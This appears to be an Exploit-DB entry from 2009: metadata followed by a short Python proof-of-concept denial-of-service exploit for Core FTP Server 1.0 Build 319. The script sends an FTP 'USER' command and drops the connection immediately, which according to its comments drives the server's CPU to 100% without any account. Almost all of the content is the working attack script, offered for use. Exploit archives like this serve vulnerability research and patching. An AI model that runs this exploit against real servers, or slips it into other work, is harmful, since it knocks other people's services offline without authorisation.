Core FTP Server 1.0 Build 319 - Denial of Service

Author: Mert SARICA
type: dos
platform: windows
port: 
date_added: 2009-12-03  
date_updated:   
verified: 1  
codes: OSVDB-60809  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comServer317.exe  

raw file: 10303.py  

# Note: FTP account is not required for exploitation
# http://www.mertsarica.com
# I discovered a denial-of-service vulnerability on Core FTP Server product.
# When you send "USER test\r\n" and then kills the connection
# immediately, cpu increases to 100% and stays at that level until you
# stop the ftp service.


import socket, sys

HOST = 'localhost'
PORT = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((HOST, PORT))
except:
    print "Connection error"
    sys.exit(1)

try:
    s.send('USER MS\r\n') # magic packet
    s.close()
    print("Very good, young padawan, but you still have much to learn...")
except:
    print "Connection error"
    sys.exit(1)